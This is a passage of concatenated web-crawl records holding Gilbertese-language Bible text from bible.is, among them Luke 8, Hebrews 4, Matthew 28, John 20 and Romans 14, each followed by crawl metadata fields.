taekan uean te Atua. Raona uaake tengauni ma uoman, 2ma aine tabemwaang ake a tia ni kamaiuaki mai irouia anti aika buaakaka ao man aorakiia; are Nei Maria are te I-Mwaketara, are a a tia n oti nako mai irouna itiman taimonio, 3ma Nei Ioana, are buni Kuta are ana touati Erote, ma Tutanna, ma aine riki aika bati ake a tia ni buokiia ni baike a kainnanoi. 4A tabe n rooroko aomata iroun Iesu man te kaawa teuana i mwiin teuana; ao ngke a bootaki ni mwaiti, ao E taekina te rongorongo ni kabootau aei Iesu nakoia: 5E oti nako te tia unuuniki ni kamaae ana koraa; ao ngke e kamaae a bwaka tabeua ri rarikin te kawai, ao a touaki, ao a kang mannikiba. 6Ao a bwaka tabeua i aon te riribwaa; ao ngke a rikirake, ao a rai ibukina bwa akea te mwaimwai iai. 7Ao a bwaka tabeua i buakoni kaai aika kateketeke; ao a rikirake, ao a kariki uaa aika tatabebubua. Ao E kanenea riki bwanaaa ao E taku, Ane iai taningana n ongo, ao ke e ongo. 8Ao a bwaka tabeua i aon te tano ae e raoiroi ao a rikirake, ao a kariki uaa aika tatabebubua. Ao E kanenea riki bwanaana ao E taku, Ane iai taningana n ongo, ao ke e ongo. 9Ao ngke a titirakina Iesu ana reirei bwa tera nanon te rongorongo ni kabootau arei, 10ao Ngaia E taku, Kam anganaki te konaa n atai baike a raba ake bwain uean te Atua; ma a anganaki aomata aika bati n taeka ni kabootau, bwa a na taratara ma a na aki nooraaba, ao a na ongoraa ma a na aki atatai. 11Aio nanon te rongorongo ni kabootau; Te koraa bon ana taeka te Atua. 12Ake a bwaka ri rarikin te kawai bon aomata ake a tia n ongo; ao ngkanne, e roko te riaaboro ao e uota nako te taeka mai nanoia, bwa a aonga n aki onimaki ma n aki kamaiuaki. 13Ao ake i aon te riribwaa bon te koraki ake a ongo te taeka ao a kaaki i nanoia ma te kimwaareirei; ti te bo te koraki aei ma koraa ake akea wakaaiia: a onimaki i nanon te tai ae e aki maan, ma ngke a kariiriiaki ao a bwaka. 14Ao i bukiia ake a bwaka i buakoni kaai ake a kateketeke, akanne bon te koraki ake a ongo ma a karibwaaki n iango n raraoma ibukini bwain te maiu aei, ma kaubwaina ao kakukureina, ao a aki kaoti uaaia aika raraoi. 15Ao i bukiia ake n te tano are e raoiroi, akanne bon te koraki ake a ongo te taeka ao a taua ni kamatoaa ma te nano ae e koaua ae e raoiroi, ao a kariki uaa ibukin aia taotaonaki n nano. 16Akea ane e kauraa te taura ao e rabunna n te bwaketi, ke e kaaki i aan te kainiwene, ma e katokaa i aoni nnena, bwa e aonga n nooraki ootana irouia aomata ake a rin. 17Bwa akea ae e raba ae e na aki kaotaki; ao akea ae e karabaaki ae e na aki ataaki ao e na aki oti. 18Kam na tarataraingkami ngkanne n aromi n ongoraa: bwa ane e na anganaki riki teuare iai ana bwai, ao ane akea ana bwai, ao e na anaaki mai irouna are e taku bwa ana bwai. 19Ao ngkanne, a kawara Iesu tinana ma tarina, ma a aki konaa n roko i rarikina bwa e bati te aomata. 20Ao a tuangnga tabemwaang ni kaangai, A tei i tinaniku tinam ma tarim bwa a kan nooriko. 21Ma E taku nakoia, Tinau ma tariu bon aomata ake a ongo ana taeka te Atua ao a karaoia. 22N te bong teuana ao E toka Iesu ma ana reirei i aon te booti, ao E taku nakoia, Ti a nako n ri nuukan te nama nakon iterana are teuana. Ma ngaia are a a nako. 23Ao ngke a ieie ao E matuu Iesu. Ao e kare te ang ae e rangi ni korakora n ruona aon te nama, ao e a kaani kebo aia booti n te ran, ao a reke n te kaangaanga. 24Ao a kawaria ni kautia, ao a kaangai, Te Tia Reirei, te Tia Reirei, ti mate. Ao E uti, ao E taku te ang ma naao ake a buubura; ao e toki karen te ang, ao e wene n rau te ran. 25Ao E taku nakoia, A nga ami onimaki? Ao a maaku ma ni miimii, ao a i taetae irouia ni kaangai, Antai Teuaei, bwa E taetae nakon te ang ma te nao, ao a karaoa tuangaia. 26Ao E ie nako Iesu ma ana reirei nako abaia I-Kerata, are e kaaitaraa Kariraia. 27Ao ngke E aerake nako aon te aba, ao E aitara ma te aomata ae e taniaki irouia taimonio ae e nako man te kaawa; e a maan teuaei n aki kuukunnikainna, ao e mamaeka n aia tabo maate ma tiaki n te auti. 28Ngke e noora Iesu, ao e takaarua ao e bwaka i matana, ao e kaangai n te bwanaa ae e korakora, Tera am bwai irou, Iesu, are Natin te Atua are Moan te Rietata? I butiiko bwa Ko na aki kammarakai. 29Bwa E a tia Iesu n tuanga te anti are e kamwaraa bwa e na oti nako mai irouna. Bwa e a waiti ana tai teuaei n taniaki iroun te anti arei; n taai ake e taniaki iai, ao e kabaeaki n taurekereke ma bwaai ni kabae wae, ma e urui bwaai ni kabaebae ao e kairaki nakon te rereua iroun te taimonio. 30E titirakinna ngkanne Iesu ni kaangai, Antai aram? Ao e taku, Rekeon; bwa a mwaiti taimonio ake a tia n rin i nanona. 31Ao taimonio, a butiia Iesu bwa E na aki kanakoia nako Abuto! 32Iai nanai ni beeki aika bati ake a amwarake ikekei i rarikin te maunga n are e karaabee; ao a butiia bwa E na kanakoia bwa a na rin i nanoia. Ao Ngaia, E kariaia. 33A oti nako ngkanne taimonio mai iroun teuarei ao a rin i nanoia beeki, ao a toua are e rangi ni karaabee nako nanon te nama ao a bwabwa. 34Ngke a noora te bwai are e a tia n riki uaake a tararuaia beeki, ao a biri nako, ao a taekina te baerei n te kaawa ao n taabo ake a maekanaki i marenaua. 35A nako aomata bwa a na noora te baere e a tia n riki, ao a roko iroun Iesu, ao a noora te aomata are a a tia n oti nako mai irouna taimonio, bwa e tekateka i rarikini waen Iesu: e kunnikainna ao e a eti ana iango; ao a maaku aomata. 36Ao te koraki ake a tia n noora aroni kamaiuan teuare e taniaki irouia taimonio, a tuangiia aomata ake a roko aron Iesu ngke E kamaiuiia. 37Ao aomata ni kabaneia ake kaain te tabo are abaia I-Kerata, a bubutiia bwa E na kiitaniia; bwa a taonaki n te maaku ae e korakora; ma ngaia are E toka i aon te booti ao E kataua te nako. 38E buubuti teuare a oti nako mai irouna taimonio bwa e kan iria; ma E kanakoa Iesu, ao E taku, 39Ko na okira mwengam, ao taekini bwaai ni kabane ake E a tia ni karaoi te Atua nakoim. Ao e nako n tataekin aroni baike E karaoi Iesu nakoina. 40Ngke E oki Iesu nakon iteran te nama are teuana, ao E butimwaaeaki irouia aomata ma te kukurei bwa a bane ni kakaantaningaia. 41Ao nooria, e roko te aomata ae arana Iairo, ae te tia taua taekani mwaneabaia I-Iutaia; e bwaka ni bobaraaki i rarikini waen Iesu, ao e butiia bwa E na roko n ana auti. 42Bwa iai natina te aine ae ti temanna, ae tao ai tebwi ma uoua ana ririki, ao e a kaani mate. Ngke E nako ao a karibwaa aomata. 43Ao te aine ae e aoraki n aine i nanon tebwi ma uoua te ririki ake a bwaka nako ae e kabane ana bwai n anganiia taokita, ae akea ae e konaa ni katoka aorakina, 44e roko n ri akuun Iesu, ao e riinga rabin ana kunnikai; ao n te tai naba arei, ao e toki aorakina n aine. 45Ao E taku Iesu, Antai ae e riingai? Ngke a bane n taku bwa tiaki ngaiia ao e taku Betero, Te Tia Reirei, a otabwaniniiko aomata ao a karibwako! 46Ma E taku Iesu, Iai temanna ae e riingai; bwa I namakina ae e nako mai irou te mwaaka. 47Ngke e ataia neierei bwa e aki raba, ao e roko n ruru bwa e maaku, ao e bwaka i matana, ao e tuangnga i mataia aomata ni kabaneia bukin riingana ao arona ngke e waekoa n toki aorakina. 48Ao E taku Iesu nakoina, Natiu, e kamaiuko am onimaki; naako ma te rau. 49Ngke E kume n taetae Iesu, ao e roko te mwaane temanna man ana auti te tia taua taekani mwaneabaia I-Iutaia, ao e taku nakoina, E a mate natim te aine; tai manga katabetabea te Tia Reirei iai. 50Ma ngke E ongo aei Iesu ao E taku nakon Iairo, Tai maaku; ko na ti onimaki, ao e na manga maiu. 51Ngke E roko Iesu n te auti, ao E aki kariaia bwa e na rin temanna ma Ngaia, ma ti Betero, Ioane ao Iakobo, ao taman ma tinan te teei. 52Ao a bane n tang ao a tanginiwenei; ma E taku Iesu nakoia, Tai tang, bwa e aki mate ma e matuu. 53Ao a ngare ni kakanikoa Iesu, bwa a ataia ae e mate. 54Ma Iesu, E taua bain neierei ao E taku n te bwanaa ae e korakora, Te teinaine, tei rake. 55Ao e a manga maiu, ao e tei rake naba ngkekei; ao E tua Iesu bwa e na anganaki neierei te amwarake bwa e na kanna. 56Ao a miimii ana karo neierei; ma E tuangiia Iesu bwa akea temanna ae a na kaongoa taekan te baere e karaoaki.\nRUKA 8","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/8","date":"2014-03-08T12:05:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654438\/warc\/CC-MAIN-20140305060734-00099-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1695,"character_repetition_ratio":0.044,"word_repetition_ratio":0.011,"special_characters_ratio":0.249,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:2828I tuangkami bwa akea i buakoia aomata nako aika tia ni bungiaki ae e kakannato riki nakon Ioane; ma ane moan te mangori n uean te Atua ao boni ngaia ae e kakannato riki nakoina. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/28","date":"2014-03-16T08:26:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678702080\/warc\/CC-MAIN-20140313024502-00007-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000066757202148}","num_words":51,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2525A bita te koaua mai iroun te Atua nakon te kewe; ao a taromauriia te bae e karikaki ma n toro irouna, n onea mwiin te Tia Kariki bwaai, are e riai ni karaoiroaki n aki toki. Amene. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/25","date":"2014-03-10T02:14:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010549973\/warc\/CC-MAIN-20140305090909-00011-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999926090240479}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai ti anganaki te taeka n aakoi ibukin te rin i nanon ana motirawa te Atua, ao ti na taraia raoi bwa e kaawa ni kuneaki temanna i buakomi bwa e aki tau n rin iai. 2Bwa e a tia n taekinaki te euangkerio nakoira, n ai aroia; naba; ma e matebuaka irouia te rongorongo are a ongo, bwa a aki bwaina naba te onimaki are e reke irouia te koraki ake raoia n ongoraa. 3Ngaira ngkanne, aika ti onimaki, ti a rin i nanon te motirawa arei; n ai aron are E taekinna te Atua ni kaangai, Ma ngaia are I taetae n tuea iai ngke I un, Bwa a na aki rin i nanon au motirawa. E taekina aei, e boni ngae ngke a kaman tia ana mwakuri ma ngke a moani karikaki aonnaba. 4Bwa E taekina te kaitibong n te tabo teuana ni kaangai: E motirawa te Atua n te kaitibong man ana mwakuri ni kabane. 5Te bwai naba aei e a manga taekinaki naba ni kaangai: A na bon aki rin i nanon au motirawa. 6Te koraki ake a moa n ongo te rongorongo ae e raoiroi are taekan te motirawa e aki reke nakoia te motirawa anne, ibukin aia aki-ongeaaba. Ma iai ngkanne tabemwaang aika a kariaiakaki bwa e na reke nakoia. 7E kaotaki aei n aron te Atua ni baairea te bong teuana, ae e aranaki bwa Te bong aei; ngke E kaangai iroun Tawita, i mwiin ririki aika a bati, n ai aron are e a tia n taekinaki: Ngkana kam ongo bwanaana n te bong aei, Ao kam na tai kamatoatoai nanomi. 8Bwa ngke arona bwa e anganiia aomata Iotua te motirawa, ao E aki manga taekina te bong ae tebongina te Atua i mwiini baikai. 9Ma ngaia ae bon iai te motirawa-n-taabati nakoia ana aomata te Atua. 10Bwa ane e rin i nanon ana motirawa te Atua, ao e boni motirawa man ana mwakuri, n ai aron te Atua ngke E motirawa naba man ana mwakuri. 11Ma ngaia ae ti na kakorakoraira ni kan rin i nanon te motirawa arei, bwa e kaawa temanna ni bwaka, ni kaototoongiia te koraki arei ibukin aia aki-ongeaaba. 12Bwa e maiu ana taeka te Atua, ao e mwamwakuri ao e kakang riki nakoni kabaang aika uaitera wiia ni kabane, ao e ewara nako te aomata nakon te tabo are a kaaitibo iai te maiu ma te taamnei, ao taian toma n rii ma kanoan rii; ao e atai raoi ana iango te nano ma baika a riki iai. 13Bon akea te bwai teuana ae e karikaki ae e na raba mai irouna; ma a bane bwaai ni kaakiaki rabunaia ma ni kaotaki raoi i matan Teuare Ngaia ae ti nangi taekin arora nakoina. 14Ma ngaia aei, ngkai iai ara ibonga ae moanibaan te kakannato, are E a ta n ri buakon taiani karawa, are Iesu are Natin te Atua, ao ti na taua are ti a tia n taekinna ibukina. 15Bwa ara ibonga ae e kakannato bon tiaki ae e aki konaa te nanoangaira ibukini mamaarara, ma bon ae e kariiriiaki ni bwaai ni kabane n ai arora, ma E aki bure. 16Ma ngaia ae ti na tai maaku ni kaania ana kaitokanuea te Atua are e aakoaki te aba iai, bwa ti aonga n anganaki te nanoangaaki, ao ti aonga ni karekea te aakoaki ngkana a kai nanora..\nEBERA 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/4","date":"2014-03-15T11:53:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678697773\/warc\/CC-MAIN-20140313024457-00083-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":568,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a toki te taabati, ngke e a kaan otin taai ni moani bongin te wiiki, ao e nako Nei Maria are te I-Mwaketara ma Nei Maria are temanna, ni kawara te nne ni mate bwa a na nooria. 2Ao nooria, e roko mwaeiein te aba ae e korakora; bwa e ruo mai karawa ana anera te Atua, ao e roko ni karabinoa nako te atiibu, ao e tekateka i aona. 3Ao e oota ubuna kaanga ai aron te iti, ao e mainaina kunnikaina n ai aron te tinoo. 4A rurubenebene tautia ake a tantani bwa a maaku, ao a riki bwa kaanga ai aroia maate. 5Ao e taku te anera nakoia aine akekei, Kam na aki maaku, bwa I ataingkami bwa kam ukoukora Iesu are e kamateaki n te kaibangaki. 6Akea ikai, bwa E a tia ni manga maiu, n ai aron are E a tia n taku. Nako mai, noora te tabo are E wene iai. 7Ao kawaetataingkami n tuangiia ana reirei bwa E a tia ni manga maiu mai buakoia maate; ao nooria, are E a ri moami nako Kariraia; ane kam na nooria ikekei. Noria, I a tia n tuangkami. 8Ma ngaia are a kawaetataia n nako man te nne ni mate ma te maaku ao te kukurei ae e bati, ao a biri nako n tuangiia ana reirei. 9Ao nooria, E bo ma ngaiia Iesu, ao E taku, Kam na mauri. Ao a nakoina n taua waena, ao a taromauriia. 10E taku Iesu nako ia, Kam na aki maaku; kam na nako n tuangiia tariu bwa a na nako Kariraia, ao ane a na noorai ikekei. 11Ngke a mwananga nako, ao nooria, iai tautia tabemwaang mai buakoia taan tantani ake a nako n te kaawa ao a tuangiia ibonga ake mataniwi taekani bwaai ni kabane ake a a tia n riki. 12A bootaki ibonga ake mataniwi ma unimwaane ni karekei aia iango; ao a angania tautia te mwane ae e bati, 13ao a taku, Kam na kaangai nakoia aomata, A roko ana reirei n te bong ao a iraea rabwatana ngke ti matuu. 14Ao ngkana e ongo aei te tia tau-taeka, ao ti na karaua nanona; ao ti na taraia bwa e na akea te kaangaanga ae e na reke nakoimi. 15Ma ngaia are a anaa te mwane ao a karaoa aron are a a tia n tuangaki; ao te rongorongo arei, are taekaia ana reirei bwa a iraea rabwatana, e a tia ni buta nako irouia I-Iutaia ni karokoa te bong aei. 16A nako Kariraia ana reirei Iesu ake tengauni ma temanna nakon te maunga are E a tia n tuangiia Iesu bwa a na nako iai. 17Ao ngke a nooria, ao a katorobubua ni bobaraaki n taromauriia; ma iai tabemwaang i buakoia aika a nanokokoraki. 18Ao E roko Iesu, ao E taku nako ia, I a tia n anganaki te mwaaka ni kabanea i karawa ao i aonnaba. 19Ma ngaia ae kam na nako ni karikia aomata nako bwa au reirei, ni bwaabetiitoiia nako nanon aran te Tama ma te Nati ma te Taamnei are e Raoiroi, 20ao n reireiniia bwa a na iri nanoni bwaai ni kabane ake I a tia n tuangkami; ao nooria, I a meemena iroumi n taai nako ni karokoa tokin aonnaba.\nMATAIO 28","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/28","date":"2014-03-13T20:04:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678680766\/warc\/CC-MAIN-20140313024440-00006-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":546,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a kaani ngaina, ngke e roo, n te bong ae moani bongin te wiiki, ao e roko n te nne ni mate Nei Maria are te I-Mwaketara, ao e noora te atiibu bwa e a tia ni kanakoaki mai matan te nne ni mate. 2Ma ngaia are e biri nako nakon Timon Betero ma te reirei are temanna, are E tangiria Iesu, ao e taku nakoia, A uota nako te Uea man te nne ni mate, ao ti aki ataa te tabo are a kaaki iai. 3E oti nako ngkanne Betero ma te reirei are temanna, ao a nako n te nne ni mate. 4A uaia ni biribiri, ma e biri mwaaka riki te reirei are temanna nakoni Betero, ao e roko moa n te nne ni mate. 5E aki rin i nanon te nne ni mate, ma e baraaki n taraa nanona, ao e noori kunnikai ake a mainaina bwa a wene. 6Ao e roko ngkanne Timon Betero i rarikin te reirei are temanna, ao e rin i nanon te nne ni mate; ao e noori kunnikai ake a mainaina bwa a wene, 7ao te kaawere are kabaean ubuna bwa e aki wene ma kunnikai akekei, ma e rukumaki n te tabo teuana n ti ngaia. 8E rin naba ngkanne te reirei are temanna, are e moan roko n te nne ni mate, ao e nooria, ao e kakoauaa. 9Bwa a tuai men ataa nanon te Baibara are e kaangai, bwa e riai bwa E na manga maiu mai buakoia maate. 10A oki ngkanne reirei akekei nakon te tabo are a maeka iai. 11Ao e tei Nei Maria n tang i tinaniku i rarikin te nne ni mate, ao ngke e tang, ao e baraaki n taraa nanon te nne ni mate; 12ao e nooriia uoman te anera aika kunnikaiia ni kunnikai aika a mainaina, ao a tekateka n te tabo are e a tia ni wene iai rabwatan Iesu, temanna ni nnen atuna, ao temanna ni nneni waena. 13A titirakinna ao a taku, Neiko, ko aera ngkai ko tang? E kaekaia ao e taku, I bukina bwa a uota nako au Uea, ao I aki ataa te tabo ae a kaaki iai. 14Ngke e atonga aei, ao e rairaki, ao e noora Iesu bwa E tei, ma e aki ataia bwa Iesu. 15E taku Iesu nakoina, Neiko, ko aera ngkai ko tang? Antai ae ko ukoukoria? E taku neierei i nanona bwa te tia kaawakina te nne n aroka teuarei, ma ngaia are e taku nakoina, Teuaei, ngkana ko uotia nako, ao ko na tuangai bwa ko kaaki ia, bwa N na nako n anaia. 16E taku Iesu nakoina, Nei Maria. E rairaki Nei Maria ao e taku nakoina n te taetae n Ebera, Raboni (ae nanona, te Tia Reirei). 17E taku Iesu nakoina, Tai riingai, bwa I tuai n rierake nakon Tamau; ma ko na nakoia tariu ao ko na atong au taeka aikai nakoia, I rierake nakon Tamau, are Tamami naba, ao Atuau, are Atuami naba. 18E nako Nei Maria are te I-Mwaketara nakoia ana reirei Iesu, ao e tuangiia bwa e a tia n noora te Uea; ao e taekin ana taeka te Uea ake E taekin nakoina. 19Ngke e a tairiki n te bong naba arei, are e moani bongin te wiiki, ngke a kainiia ana reirei Iesu n te tabo are a mena iai, bwa a maakuia I-Iutaia, ao E roko Iesu n tei i buakoia, ao E taku nakoia, E na mena te rau iroumi. 20Ngke E a tia n atonga aei, ao E kaoti baina ma rarikina nakoia. Ma ngaia are a kukurei ana reirei ngke a noora te Uea. 21E a manga taku ngkanne Iesu nakoia, E na mena te rau iroumi. I kanakoingkami n ai aron Tamau ngke E kanakomaiai. 22Ngke E a tia n atonga aei, ao E ikeike nako aoia, ao E taku nakoia, Kam na butimwaaea te Taamnei are e Raoiroi i nanomi. 23Akana kam kabwarai aia bure, ao a kabwaraaki mai irouia; ao akana kam aki kabwarai aia bure, ao a aki kabwaraaki mai irouia. 24Ao Toma, ae temanna i buakoia uaake tengauni ma uoman, are e aranaki bwa te Bwebwee, e aki mena i buakoia ana reirei Iesu ngke E roko Iesu irouia. 25Ma ngaia are a taku nakoina reirei akekei, Ti a tia n noora te Uea. Ma e taku Toma nakoia, Ngkana I aki noori mwiin neera i baina, ao I aki karina tabonibaiu i nanoni mwiin neera, ao ngkana I aki karina baiu i nanon rarikina, ao I bon aki konaa ni kakoauaingkami. 26Ao i mwiini wanibong ao a a manga mena i nanon te auti ana reirei, ao Toma raoia. A bono mataroa, ma E roko Iesu n tei i buakoia, ao E taku, E na mena te rau iroumi. 27Ao i mwiina E taku nakon Toma, Kaaki tabonibaim ikai, ao tarai baiu; ao arora mai baim ao karinna i nanon rarikiu; kaaki arom n aki onimaki, ao bwaina te onimaki. 28E kaeka Toma ao e taku nakoina, Au Uea ao Atuau. 29E taku Iesu nakoina, Ko onimaki ibukina ngkai ko noorai? A a kabwaia akana a onimaki ngkana a tuai n noorai. 30A bati riki mwakuri aika a kamiimii aika E karaoi Iesu i mataia ana reirei, aika a mwakuri aika a aki koreaki n te boki aei; 31ma a koreaki aikai bwa kam aonga ni kakoauaa bwa Iesu bon te Kristo, are Natin te Atua; ao ngkai kam onimakinna, ao e na reke iroumi te maiu n arana.\nIOANE 20","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/20","date":"2014-03-10T01:58:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010547566\/warc\/CC-MAIN-20140305090907-00019-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":923,"character_repetition_ratio":0.072,"word_repetition_ratio":0.007,"special_characters_ratio":0.252,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam na mwanea n aakoa te aomata ae e mamaara n ana onimaki, ma tai kauntaeka ma ngaia ibukin tein aron ana iango. 2E taku temanna n ana koaua bwa e riai irouna te kang amwarake ni kabane; ao temanna ae e mamaara n ana onimaki e taku bwa e riai irouna te kang amwarake man aroka nako. 3Te aomata are e kang amwarake nako e na aki kaakeaa boongan te aomata are iai baika e aki konaa ni kang; ao te aomata are e kang ti amwarake man aroka nako ke e tai kabuaakakaa te aomata are e kang amwarake nako, ibukina bwa e butimwaaeaki arona anne iroun te Atua. 4Antai ngkoe bwa ko na baairea taekan ana toro temanna ni kabuaakaka? Bon ana toka ae e na baairea taekana bwa e nako raoi ana mwakuri ke e aki. Ma ane e na nako raoi ana mwakuri te toro, bwa E konaa te Atua ni buokia bwa e aonga n nako raoi ana mwakuri. 5E taku temanna bwa e kakannato riki te bong teuana nakoni boong ni kabane, ao temanna e taku bwa ti te bo aroni boong nako. Ke a kareke nanoia aomata nako aika a na aki katiotioaki aia iango iai. 6Ane e kaawakina te bong teuana bwa e kakannato irouna, ao e kaawakinna ibukin te Uea; ao ane e kang amwarake nako, ao e kang ibukin te Uea, bwa e katituaraoa te Atua; ao ane e aki kang amwarake tabeua, ao e karaoia ibukin te Uea. 7Bwa akea i buakora ae e maiu bon ibukina, ao akea naba ae e mate bon ibukina. 8Bwa ngkana ti maiu, ao ti maiu ibukin te Uea; ao ngkana ti mate, ao ti mate naba ibukin te Uea. Ma ngaia ae ngkana ti maiu ke ti mate ao ana bwai naba te Uea ngaira. 9Bwa E mate Kristo ao E a manga maiu ibukin aei: bwa E aonga n riki bwa aia Uea ake a mate ma ake a maiu. 10Ao ngkoe, ko aera ngkai ko motika taekan tarim? Ao manga ngkoe, ko aera ngkai ko kaakeaa boongan tarim? Bwa ane ti na bane n tei i matan te Atua bwa a na motikaki taekara irouna. 11Bwa e koreaki ae e kaangai: E taku te Uea, Ngkai I maiu, ao ane a na bane bubuaniwae ni katorobubua nakoiu, Ao a na bane neewe n neboa te Atua. 12Ma ngaia ae ti na bane ni kaoti arora n tatabemanira nako nakon te Atua. 13Ma ngaia ae ti na katoka arora ae te i-kabuaakaka, ao ti na karekea ara baaire bwa a na akea ae e na kaaki te bwai ni katatatata ke ni kabwakabwaka i matan tarina. 14Ngkai I reitaki ma te Uea are Iesu n au onimaki, ao I bon ataia raoi bwa akea te bwai ae e kamwaraa n arona are e karikaki iai; ma ane e taku bwa e kamwaraa te bwai teuana, ao e boni kamwaraa ibukina. 15Bwa ngkana e rawaawata nanon tarim ibukini kanam, ao ko aki nakonako n te aro n tangira. Tai urua maiun temanna are E mate Kristo ibukina, n te amwarake are ko kanna. 16Ma ngaia ae kam na tarataraia bwa e na aki atongaki bwa e buaakaka te bae e raoiroi iroumi. 17Bwa tiaki uean te Atua te amwaamwarake ma te momooi, ma bon te katei ni maiu are karaoan nanon te Atua, ma te rau, ma te kimwaareirei ake ti anganaki iroun te Taamnei. 18Bwa ane e toro irouni Kristo ni baikai ao E kukurei te Atua irouna, ao e kakoauaaki irouia aomata bwa e raoiroi arona. 19Ma ngaia ae ti na uaiakin rekeni bwaai aika a na karekea te rau, ao baika a na buoka kateimatoaan temanna ma temanna n ana onimaki. 20Tai urua ana mwakuri te Atua ibukini kanam. Akea te amwarake ae e kamwaraa, ma e bure kanakin te amwarake are e na riki bwa te bwai ni kabwakabwaka nakon temanna. 21E raoiroi te aki kang iriko ma te aki mooi wain, ma aki karaoan te bwai teuana are e na riki bwa te bwai ni kabwakabwaka nakon tarim. 22Am onimaki ane iroum ae e kaeti ma baikai, bon am bwai i marenam ma te Atua. E a kabwaia te aomata are e namakinna bwa e aki kabuaakakaaki n are e karaoia ngkana e koaua iai bwa e aki bure. 23Ma ane e nanokokoraki ngkana e amwarake, ao e kabuaakakaaki iai ibukina bwa e aki karaoia ma te nano n onimaki; bwa te bae e karaoaki ma te aki-onimaki bon te bure.\nROM 14","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/14","date":"2014-03-10T21:57:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011025510\/warc\/CC-MAIN-20140305091705-00025-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":756,"character_repetition_ratio":0.064,"word_repetition_ratio":0.003,"special_characters_ratio":0.234,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Bwa aroia aomata aika a bati ngke a riki n atongaki bwa taani bure n ana aki-ongeaaba te aomata ae ti temanna, ao ai aroia naba aomata aika a bati bwa a na kaetaki aroia n reitaki ma te Atua n ana ongeaaba te aomata ae ti temanna.\nROM 5:19\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/19","date":"2014-03-14T08:39:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678691890\/warc\/CC-MAIN-20140313024451-00048-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:1414E riki n aomata te Taeka, ao E maeka i buakora. E on n te aakoi ma te koaua, ao ti noora mimitongina, are mimitongina n arona bwa ti Ngaia Natin te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South 